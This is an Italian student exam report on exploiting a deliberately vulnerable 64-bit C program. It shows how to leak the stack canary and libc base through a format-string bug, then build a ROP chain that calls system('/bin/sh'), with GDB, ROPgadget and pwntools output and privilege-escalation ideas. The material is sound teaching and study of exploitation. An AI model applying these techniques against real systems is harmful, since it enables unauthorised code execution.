Matricola VR457811 - Progetto d'esame per Software Security AA 2022/2023

Intro

Il progetto inizialmente concordato prevedeva l'apertura di una shell tramite lo sfruttamento di una format-string-vulnerability in un processo con abilitata la protezione da buffer overflow (comunemente chiamata canary). Il progetto effettivamente implementato si è spinto oltre, aprendo una shell in un'applicazione compilata con tutte le protezioni di default attive in gcc su un sistema a 64bit. Il sistema operativo di interesse è una versione recente di Linux Mint, una distro Ubuntu-based, a 64bit, con la protezione ASLR attiva.

Strumenti utilizzati

L'attacco viene effettuato tramite uno script scritto in python versione 3.x e la libreria pwntools. Sono inoltre stati usati per il debug il debugger GDB e la sua estensione PEDA (Python Exploit Development Assistance) che fornisce una serie di strumenti utili come la generazione di pattern, la ricerca di ROPgadgets e la visualizzazione della posizione in memoria di tutte le librerie caricate dall'eseguibile. Per scrivere il codice dell'attacco è stato utilizzato vscode.

Macro-concetti coinvolti nell'attacco

Format-string-vulnerability

Si tratta di una classe di vulnerabilità scoperte nel 1999 presenti in alcuni linguaggi di programmazione tra cui C. La vulnerabilità è costituita da tre componenti:

- Una format function, ovvero una funzione che ha lo scopo di convertire una o più variabili in qualcosa di leggibile facilmente dall'utente dell'applicativo
- Una format string, ovvero una stringa ASCII che definisce del testo ed il formato dei dati da visualizzare
- Uno o più format string parameters che definiscono come i dati devono essere convertiti per l'inserimento nella format string prima definita

Un esempio è `print("Oggi è il %d/%d/%d\n", d, m, y)`, le tre occorrenze di %d indicano come i parametri che seguono devono essere convertiti (in questo caso come numeri decimali). Il risultato dell'esempio è quindi simile a "Oggi è il 27/5/1987". Altri placeholders sono %s per le stringhe e %x per valori esadecimali. La vulnerabilità è dovuta principalmente al fatto che in alcune funzioni C non esiste alcun controllo sul fatto che il numero dei placeholders corrisponda al numero di parametri passati ed una volta esauriti i parametri per riempire i placeholders vengono usati i valori trovati sullo stack. E' inoltre possibile far sì che i placeholders non vengano riempiti cercando i parametri in ordine e che il primo placeholder si riferisca, ad esempio, al terzo parametro: `print("Oggi è il %1$d/%0$d/%2$d\n", d, m, y)` diventa quindi "Oggi è il 5/27/1987". Un placeholder importante per questo attacco è `$lx`,

che si aspetta un long unsigned int come valore da visualizzare e ci permette quindi di leggere le aree di memoria in esadecimale 64 bit alla volta.

Return-oriented programming (ROP)

In un attacco di tipo ROP l'attaccante riesce a dirottare il controllo di flusso dell'applicazione ed eseguire una serie di operazioni da lui scelte tra quelle già incluse nell'applicazione o nelle librerie da essa importate. E' un attacco utilizzato quando l'eseguibile target è compilato con la protezione NX abilitata, il cui funzionamento è scopo è spiegato più avanti in questo documento.

Fuzzing

Il fuzzing è una tecnica di collaudo del software che consiste nell'inviare input non validi o non previsti ad un programma.

Analisi del target

Architettura

```
vincenzo@UbuntuZsh:~/Desktop/software-security-project$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=1c2f6f14423cc22200b6d4828e0aa96183fb1d73, for GNU/Linux
3.2.0, not stripped
```

Il file è un ELF a 64-bit little-endian, dynamically linked.

Protezioni e caratteristiche del file target

Il target è un eseguibile che è stato compilato con gcc con le protezioni attivate come da default:

```
vincenzo@UbuntuZsh:~/Desktop/software-security-project$ checksec vuln
[*] '/home/vincenzo/Desktop/software-security-project/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

RELocation Read-Only (RELRO)

Nei file di tipo ELF esiste una tabella chiamata Global Offset Table (GOT) che contiene per ciascun simbolo del programma la sua posizione nell'eseguibile indicata come offset rispetto al base address, cioè all'indirizzo di partenza a cui il sistema operativo l'ha caricato. Per evitare

che un attaccante possa scrivere nella GOT riferimenti a funzioni in maniera arbitraria tutti i riferimenti dinamici a librerie esterne vengono risolti all'avvio dell'applicazione e la GOT viene resa read-only. Questo meccanismo è ininfluente ai fini del nostro attacco.

Stack canary

Al fine di cercare di evitare gli attacchi di buffer overflow, ovvero di scritture di valori che vanno oltre allo spazio allocato per gli array, il compilatore inserisce automaticamente in coda alle variabili locali di ogni funzione un valore casuale, generato all'avvio dell'applicazione, e verifica che tale valore rimanga immutato come ultima operazione al termine dell'esecuzione della funzione corrente. Se il valore letto non coincide con quello generato inizialmente l'applicazione genera un'eccezione.

Non-eXecutable stack (NX)

Questa protezione consiste nel rendere non eseguibile lo stack, il che comporta che eventuali istruzioni salvate in un buffer non possono essere poi eseguite facendo puntare il base-pointer alla prima di esse. E' un meccanismo che, come la presenza dei canarini, complica gli attacchi di tipo buffer overflow in quanto, anche bypassando correttamente il canarino, l'attaccante non può sfruttare le istruzioni che ha iniettato nel buffer.

Position-Independent Executable (PIE)

Con questo meccanismo attivo il codice dell'applicazione viene posizionato, in fase di preparazione all'esecuzione, in un indirizzo definito casualmente complicando quindi gli attacchi che fanno uso di istruzioni interne al programma target.

Address Space Layout Randomization (ASLR)

Questo meccanismo non è legato all'eseguibile in sé ed è un comportamento del sistema operativo. Consiste nel rendere casuale, entro certi limiti, l'indirizzo di partenza delle librerie importate dall'eseguibile oltre a quello dello stack e dell'heap. Lo scopo di ASLR è simile a quello di PIE: impedire all'attaccante di conoscere a priori gli indirizzi in memoria delle istruzioni e dei dati a lui utili.

Descrizione del funzionamento

Si tratta di un eseguibile che:

- chiede di inserire una stringa
- la stampa
- chiede di inserire una seconda stringa
- la stampa
- termina

Il programma fa un uso non sicuro della funzione printf per la stampa del valore inserito dall'utente, questo dà occasione di effettuare un attacco che sfrutta una format-string-

vulnerability. Utilizza anche la funzione get che consente di riempire un buffer in maniera non controllata a priori ma solo a posteriori (tramite il canarino, che aggirereremo).

Codice sorgente

Questo è il sorgente:

```
#include <stdio.h>
#include <string.h>

int main(int argc, const char **argv)
{
  char s[16];

  printf("Enter name : ");
  fgets(s, 16, stdin);
  puts("Hello");
  printf(s, 16);
  printf("Enter sentence : ");
  fgets(s, 256, stdin);
  return 0;
}
```

Breve analisi iniziale

Dobbiamo sfruttare il primo inserimento per "curiosare" nello stack e comprendere cosa si trova dopo ad esso. Siccome vogliamo che il programma non termini improvvisamente con un'eccezione mandiamo vogliamo rimanere entro i 16 caratteri per il primo input, per farci un'idea di una ventina di posizioni possiamo quindi eseguire venti volte il programma inviando il comando per leggere una sola posizione ogni volta. Il testo che dobbiamo dare in input è del tipo `%0\$lx` per la prima posizione, `%1\$lx` per la seconda e così via. Lo script fuzzer.py automatizza questo processo e ci dà il seguente output:

```
%0$lx - b'AAAA %0$lx'               è il nostro input
%1$lx - b'AAAA 10'
%2$lx - b'AAAA 1'
%3$lx - b'AAAA 7ffff7e94a37'        sembra un indirizzo in libc
%4$lx - b'AAAA 7ffff7f9ba70'        sembra un indirizzo in libc
%5$lx - b'AAAA 5555555596b0'        sembra un indirizzo
dell'eseguibile
%6$lx - b'AAAA 7fffffffdcf8'        sembra un indirizzo in libc
%7$lx - b'AAAA 100000000'
%8$lx - b'AAAA 2438252041414141'    contiene parte del nostro input
AAAA
%9$lx - b'AAAA a786c'
%10$lx - b'AAAA 0'
%11$lx - b'AAAA a3625ef621117600'    canary?
%12$lx - b'AAAA 1'
%13$lx - b'AAAA 7ffff7da9d90'        sembra un indirizzo in libc
%14$lx - b'AAAA 0'
```

```
%15$lx - b'AAAA 5555555551b6'        sembra un indirizzo
dell'eseguibile
%16$lx - b'AAAA 100000000'
%17$lx - b'AAAA 7fffffffdcf8'        sembra un indirizzo in libc
%18$lx - b'AAAA 0'
%19$lx - b'AAAA ce42db69663e5e18'    canary?
```

I commenti a destra di alcune righe sono stati aggiunti a posteriori a mano, guardando i valori uno ad uno e tenendo conto che:

- gli indirizzi della libreria libc iniziano con 0x00007f
- gli indirizzi che iniziano con 0x000055 potrebbero essere istruzioni dell'eseguibile
- I valori che sfruttano tutti i 64bit potrebbero essere canarini. Trattandosi di un sistema linux sappiamo che i canarini finiscono con 00 quindi potremmo avere già trovato la posizione del canarino con `%11$lx`, lo verificheremo più avanti.

Libc leak

Siccome ASLR è attivo la posizione della libreria libc in memoria può variare ad ogni esecuzione, dobbiamo quindi rilevarla per poterci riferire correttamente a parti di essa necessarie per l'attacco. Nei dati che abbiamo visto nell'analisi iniziale ci sono diversi indirizzi che sembrano appartenere a libc. Possiamo scegliere uno di questi, ad esempio il 3. Rieseguiamo il codice in gbd e prendiamo nota dell'indirizzo che otteniamo inserendo nel primo input `%3\$lx`. Eseguiamo poi in gdb il comando vmmap e controlliamo qual é l'indirizzo di partenza della libreria libc, così da calcolarne l'offset: questo offset sarà lo stesso ad ogni esecuzione e ci permetterà quindi di calcolare ad ogni esecuzione l'indirizzo di inizio di libc per quella specifica esecuzione.

Canary leak

Quando abbiamo parlato dell'analisi iniziale abbiamo anticipato che alcuni input sembrano valori casuali e potrebbero essere canarini. Uno di questi, in particolare, termina con `\00` e come detto i canarini sui sistemi linux terminano sempre con tale byte. Se così non fosse potremmo comunque provare tutti i valori che sembrano casuali fino a trovare il canarino.

Se usiamo GDB e disassembliamo la funzione main troviamo verso la fine queste istruzioni:

```
   0x0000000000001248 <+159>:   mov    eax,0x0
   0x000000000000124d <+164>:   mov    rdx,QWORD PTR [rbp-0x8]
=> 0x0000000000001251 <+168>:   sub    rdx,QWORD PTR fs:0x28
   0x000000000000125a <+177>:   je     0x1261 <main+184>
   0x000000000000125c <+179>:   call   0x1090 <__stack_chk_fail@plt>
```

Vediamo che è presente un'istruzione che lancia l'eccezione di buffer overflow, si tratta della call a *__stack_chk_fail* e vediamo che la condizione che ne influenza l'esecuzione si basa sul registro RDX. Possiamo quindi lanciare l'eseguibile nel debugger, farci dare l'undicesimo valore inserendo nel primo input `%11$lx`, proseguire fino al punto di verifica del canarino e controllare

se il valore presente in rdx corrisponde al valore ottenuto dall'input. Nel nostro caso coincide quindi il canarino è proprio tale valore.

Binary Base Leak (PIE)

[Titolo alternativo: ## Position-Independent Executable (PIE)] Anche se non è necessario per il nostro attacco, è possibile ottenere il base address anche del codice dell'eseguibile stesso in modo simile a quanto fatto per libc. Eseguiamo in GDB, inseriamo in input `%5$lx` e facciamo poi la differenza tra il risultato e l'indirizzo base che otteniamo tramite il comando vmmap: questo offset rimarrà sempre lo stesso e permetterà quindi ad ogni esecuzione di ottenere il base address dell'eseguibile.

```
gdb-peda$ vmmap
Start              End                Perm  Name
0x0000555555554000 0x0000555555555000 r--p
/home/vincenzo/Desktop/software-security-project/vuln
0x0000555555555000 0x0000555555556000 r-xp
/home/vincenzo/Desktop/software-security-project/vuln
0x0000555555556000 0x0000555555557000 r--p
/home/vincenzo/Desktop/software-security-project/vuln
0x0000555555557000 0x0000555555558000 r--p
/home/vincenzo/Desktop/software-security-project/vuln
0x0000555555558000 0x0000555555559000 rw-p
/home/vincenzo/Desktop/software-security-project/vuln
[Alcune righe omesse]
```

Se il valore ottenuto da %5$lx è 0x5555555596b0 e le istruzioni dell'eseguibile sono allocate a partire dall'indirizzo 0x0000555555554000 l'offset è di `0x5555555596b0 - 0x0000555555554000 = 0x56B0`.

Ultime informazioni necessarie

Abbiamo visto che con il primo input da inserire possiamo estrarre diverse informazioni utili per violare le diverse protezioni e condurre, con il secondo input, l'attacco vero e proprio. Ci mancano però ancora alcune informazioni e ora andremo a scoprire.

Padding per il canarino

Il metodo più comodo per sapere in che posizione va inserito il canarino è eseguire nuovamente in GDB l'applicazione, inserire una stringa breve nel primo input ed una lunga sequenza non ripetitiva di caratteri nel secondo input. Andiamo avanti di alcune istruzioni e ci portiamo ad appena prima del controllo del canarino. A questo punto copiamo il contenuto del registro RDX e lo cerchiamo all'interno della sequenza passata inizialmente, scoprendo così la posizione in cui il canarino deve trovarsi.

Creiamo la sequenza:

```
gdb-peda$ pattern create 64
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
```

Debuggando troviamo il seguente valore: RDX: 0x3b41414441412841 ('(AADAA;A')

```
gdb-peda$ pattern_offset (AADAA;A
(AADAA;A found at offset: 24
```

In alternativa al copiare manualmente il valore da RDX e cercarlo con pattern offset è possibile anche, sempre dopo essersi portati al punto in cui viene effettuato il controllo del canarino, eseguire una ricerca di tutti i pattern su registri, stack e quant'altro usando il comando `pattern search`:

```
gdb-peda$ pattern search
Registers contain pattern buffer:
RDX+0 found at offset: 24
Registers point to pattern buffer:
[RSI] --> offset 1 - size ~65
[RBP] --> offset 32 - size ~34
Pattern buffer found at:
0x00005555555596b0 : offset    0 - size   64 ([heap])
References to pattern buffer found at:
0x00007ffff7f9aab8 : 0x00005555555596b0 (/usr/lib/x86_64-linux-
gnu/libc.so.6)
0x00007ffff7f9aac0 : 0x00005555555596b0 (/usr/lib/x86_64-linux-
gnu/libc.so.6)
0x00007fffffffdb38 : 0x00007fffffffdd70 ($sp + -0x228 [-138 dwords
[Alcune righe rimosse]
```

Si può vedere infatti che è stato trovato, tra gli altri, un pezzo di pattern con offset 24 nel registro RDX.

Padding per il return

Trovata la posizione del canarino dobbiamo capire quanti altri caratteri inserire prima di raggiungere la posizione dell'istruzione di return. Per farlo eseguiamo lo script ret_offset.py che con il primo input scopre il valore del canarino e col secondo input invia un numero di caratteri sufficiente a riempire il buffer, seguito dal canarino, seguito dalla solita sequenza creata da gdb. Lo script, oltre ad inserire gli input, apre una sessione con gdb e ci permette di guardare registri, stack e quant'altro. Con il comando `pattern search` usato poco fa gdb-peda ci restituisce questo:

```
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 0
Registers point to pattern buffer:
[RSP] --> offset 8 - size ~58
Pattern buffer found at:
```

```
0x0000555d3c6f86d0 : offset    0 - size   64 ([heap])
0x00007fffb40c2960 : offset    0 - size   64 ($sp + -0x8 [-2 dwords])
References to pattern buffer found at:
0x00007fffb40c2908 : 0x00007fffb40c2960 ($sp + -0x60 [-24 dwords])
```

La riga che ci interessa è quella relativa a [RSP] dove vediamo un offset pari a 8: quella è la lunghezza del secondo blocco di caratteri junk che dobbiamo inserire per arrivare a sovrascrivere il ret: 'A'* 24 + canary + 'B'* 8 + ROP

Exploitation

Il nostro obiettivo finale è riuscire ad eseguire `system("/bin/sh")`. Per fare questo, e non potendo iniettare codice nello stack per eseguirlo a causa della protezione *Non-eXecutable stack*, dobbiamo trovare delle istruzioni da sfruttare già presenti nel codice in esecuzione. Siccome ci troviamo su un sistema a 64 bit i parametri vengono passati alla funzione non tramite lo stack ma tramite alcuni registri. La funzione system si aspetta il primo parametro nel registro RDI e dobbiamo quindi trovare da qualche parte nel codice la stringa */bin/sh* e riuscire ad inserirla nel registro RDI. Dopodichè possiamo eseguire system, che andrà a leggere RDI ed eseguirà la shell.

Il nostro payload diventa quindi: 'A'* 24 + canary + 'B'* 8 + POP_RDI + BIN_SH_ADDRESS + SYSTEM_ADDRESS

Dobbiamo quindi anche trovare l'indirizzo di un'istruzione "pop rdi; ret" nel codice esistente, possiamo cercarlo nel codice dell'eseguibile oppure nella libreria libc. In questo secondo caso diventa superfluo il binary base leak spiegato prima e noi seguiamo questa strada per due motivi:

- Abbiamo già bisogno del base address di libc per altre cose
- In un programma di così piccole dimensioni non è detto che sia contenuta l'istruzione assembly che ci interessa Per trovare l'indirizzo di una particolare istruzione possiamo sfruttare il tool ROPgadget nel modo che segue:

```
vincenzo@swsec-VirtualBox:~/Desktop/swsec_1$ ROPgadget --binary
/usr/lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
0x00000000000f7a3e : cld ; pop rdi ; sete cl ; or eax, ecx ; jmp
0xf79d5
0x00000000000eac33 : cli ; pop rdi ; mov eax, 0x3a ; syscall
0x00000000001b0a1b : pop rdi ; add dword ptr [rax - 0x72b7bfb1], ecx
; ret
0x00000000000ba378 : pop rdi ; and byte ptr [rsi + 0xf], ah ; out dx,
eax ; jmp 0x677ab2e8
0x00000000000ba598 : pop rdi ; and byte ptr [rsi + 0xf], ah ; out dx,
eax ; jmp 0x677ab508
0x000000000017ff4e : pop rdi ; jmp 0xffffffff167889c
0x000000000002a745 : pop rdi ; pop rbp ; ret
0x000000000002a3e5 : pop rdi ; ret
0x00000000001bc10d : pop rdi ; ret 0xffe6
0x000000000008eef5 : pop rdi ; retf
```

```
0x00000000000538c3 : pop rdi ; sbb al, 0 ; jmp 0x5387d
[Molte righe rimosse]
```

La lista di risultati è molto più lunga ma ho omesso la maggior parte delle righe. La riga che ci interessa, in ogni caso, è questa:

```
0x000000000002a3e5 : pop rdi ; ret
```

Il nostro payload ora è ora questo: 'A'* 24 + canary + 'B'* 8 + POP_RDI + BIN_SH_ADDRESS + SYSTEM_ADDRESS

Può essere che un payload così costruito non funzioni ancora ed è proprio il nostro caso. Se l'attacco non funziona è necessario approfondire per capirne la causa ed una possibilità è che sia un problema di disallineamento. Provandolo si vede infatti il programma andare in crash sull'istruzione *movaps XMMWORD PTR [rsp],xmm0* con un SIGSEGV, ovvero un errore di segmentation fault. Questo è dovuto alle specifiche *System V Application Binary Interface* (standard usato tra gli altri da Linux e di cui ELF è parte) che impongono un allineamento dello stack a 16-byte prima di una call. Per risolvere possiamo aggiungere un'istruzione di ret che provoca il pop di 8 byte dalla cima dello stack sistemando così l'allineamento. Anche l'istruzione ret può essere trovata all'interno di libc, nello stesso modo di *pop rdi*.

Il nostro payload finale è questo: 'A'* 24 + canary + 'B'* 8 + POP_RDI + BIN_SH_ADDRESS + RET + SYSTEM_ADDRESS

Il file *attack_v2.py* riporta l'attacco completo che abbiamo costruito fin qui e mostra una shell come risultato. Nello script, a differenza di quanto visto in questa descrizione, stringhe e funzioni interne a libc sono state indicate non tramite il loro indirizzo esplicito ma utilizzando l'oggetto ELF della libreria python pwntools, assegnandogli il base address trovato tramite il leak descritto ed ottenendo gli indirizzi corretti per *system* e per */bin/sh*.

E' infatti possibile creare un oggetto di tipo ELF in python ed usarlo come segue:

```
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc.address = INDIRIZZO_BASE # Da trovare in runtime causa ASLR
attivo
libc.search(b'/bin/sh')       # Si ottiene l'indirizzo della stringa
/bin/sh
libc.sym['system']            # Si ottiene l'indirizzo del metodo
system
```

Conclusioni e possibili miglioramenti

Abbiamo visto come aprire una shell utilizzando un programma nato con uno scopo completamente differente e che non prevede una shell tra le proprie funzionalità. L'attacco potrebbe diventare più efficace provando una *privilege escalation* tramite una chiamata al metodo *setuid*, anch'esso presente in libc. Per poterlo fare dobbiamo però prima riuscire ad

azzerare due registri contenenti i parametri per la chiamata da effettuare. Va tenuto presente che non è possibile passare `\00` più volte in input in quanto la funzione *gets* presente nell'eseguibile target interrompe la copia dell'input alla prima occorrenza di `\00`, di un `EOF` o di `\n`. Bisogna quindi trovare all'interno di libc le operazioni necessarie ad ottenere tale azzeramento dei registri (ad esempio uno xor tra ciascuno di essi e sé stesso, spesso usato per questioni di ottimizzazione), chiamare poi setuid ed infine *system* con */bin/sh* come abbiamo fatto. Nel caso la shell di default del sistema attaccato sia bash questo è comunque poco utile in quanto il processo bash rilascia i privilegi automaticamente all'avvio nel caso essi siano stati impostati con setuid prima della sua apertura. Questo è un comportamento presente da molti anni nelle shell più diffuse nel mondo linux, tuttavia ci sono versioni che non hanno questo sistema perché troppo vecchie o per bug (si veda ad esempio questa segnalazione per il pacchetto Dash su Ubuntu)